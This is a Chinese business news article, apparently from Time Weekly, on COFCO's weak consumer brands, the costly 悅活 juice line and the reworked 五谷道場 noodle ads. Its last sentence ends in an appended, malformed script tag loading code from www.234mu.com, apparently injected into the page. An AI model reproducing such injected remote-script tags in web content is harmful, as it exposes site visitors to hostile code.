中糧發展全產業鏈最大的困難就在于產業鏈之間的銜接。
離市場近一些,離市場再近一些,確定“從田間到餐桌”的全產業鏈發展戰略后,中糧集團一直在尋找擴大終端市場出口的機會,希望在食品飲品等快消品領域能夠有所突破,實現從資源型的企業向終端品牌型的企業轉變。
然而,無論是中糧新近收購的五谷道場、力推的悅活系列,還是原來的自有品牌福臨門、長城、金帝,中糧這個產值上千億元的企業,貌似強大,但每個業務都與競爭對手差距很大。連“一個中糧”都無法做到,中糧各個業務非但不能協同作戰,降低交易成本,反而會相互掣肘。
悅活收入不及廣告費一半
牽手開心網,在網上種果樹榨果汁、與《三聯生活周刊》聯合出品《悅活》雜志……在過去的一年里,在網絡、電視、廣播、地面廣告,悅活品牌似乎無處不在。
可是,悅活是什么呢？對于中糧董事長寧高寧來說,這并不是個難回答的問題,“悅活”是倡導一種新生活方式、生活態度的品牌。
于是,在這種邏輯下,中糧推出了包含果汁、蜂蜜、乳酪、谷物早餐(未來還將有水、食用油)等眾多產品在內的產品群品牌“悅活”。負責悅活果汁業務的中糧創新食品有關人員曾表示,“悅活”果汁5年后的目標是純果汁、果蔬汁銷售20億元。
然而,一年多的時間過去了,悅活果汁的表現卻不盡如人意,一位資深果汁飲料經銷商在接受時代周報記者采訪時用三個詞來形容悅活果汁:“沒特色、高投入、低產出”。而流傳在果汁飲料圈的說法則是,去年悅活廣告宣傳費用高達2億元,而收入還不及廣告費的一半,在悅活最主要市場—北京,銷量不過區區2000萬元。
悅活果汁確實有其獨特的品牌訴求點:產地限定。新疆烏蘇農場的番茄、大興安嶺的野生黑加侖、四川會理的石榴、渭北高原的蘋果……然而果汁畢竟不是昂貴的白酒、葡萄酒,產地限定除了給產品增加成本之外,并沒有為品牌帶來多少溢價效益。
由于產品銷量不大,“悅活”果汁產品都是通過委托加工的方式生產。為了符合悅活要求,OEM方的生產線都進行了改造,OEM方曾透露,生產280毫升悅活產品的成本并不小于生產五六百毫升的同類果汁產品。悅活280毫升的果汁和果蔬汁在不同地區的零售價是5-6元,而1升(1000毫升)裝的匯源100%純果汁的售價通常在8-13元。除了售價昂貴,悅活果汁的產品定位也模糊不清,一瓶飲料中混合了5種果汁和5種蔬菜汁,還都是100%,這讓很多消費者望而卻步。
前述人士告訴時代周報記者,在低濃度果汁飲料市場,統一、康師傅占據了80%以上的市場份額;中濃度果汁市場,農夫果園占據了半壁江山;在純果汁和高濃度飲料市場,匯源和牽手果汁共同占據了大部分市場,加上來自美國的“大湖”、都樂、可果美、茹夢、光明、湖濱、貝奇等耕耘已久,留給悅活的機會都不多了。
“丟了魂的五谷道場”
中糧重組五谷道場后,中糧天然五谷道場投資有限公司副總經理李東明收到了一條熱情洋溢的祝賀短信,發信人正是五谷道場品牌創始人任立。然而一年后,家樂福中重新開始播放五谷道場的宣傳片,北京CBD到處可見“100%非油炸,更健康”的廣告語時,任立卻告訴時代周報記者:“中糧卻把五谷道場的魂丟了”。
中糧接手后,盡管五谷道場的Slogan依然是“非油炸,更健康”,但其系列電視廣告已然更換了情境,當年霸氣、陽剛、個性的陳寶國版廣告換成了臺灣男,曾經打動消費者心靈的、原五谷道場品牌的陽剛、大氣、超絕的形象沒有了,其廣告形象完全偏離了五谷道場的品牌和文化價值。
任立略有遺憾地表示,如今中糧五谷道場兩位廣告主角,一個是滿嘴方便面殘渣、有點稚氣的男生;一個是大嘴裂張、好似“芙蓉姐姐”的女生。廣告配音也是嗲聲嗲氣的港臺腔,使得主打健康的五谷道場淪落為與普通方便面產品沒有什么差別的產品。任立表示,正如中糧寧高寧董事長所說的那樣:當初之所以買下五谷道場,就是因為發現這個品牌在消費者心中留下了非常好的記憶和期待,但是如果品牌的魂丟了,投入再多的資金也枉然?script src=http://www.234mu.com/>
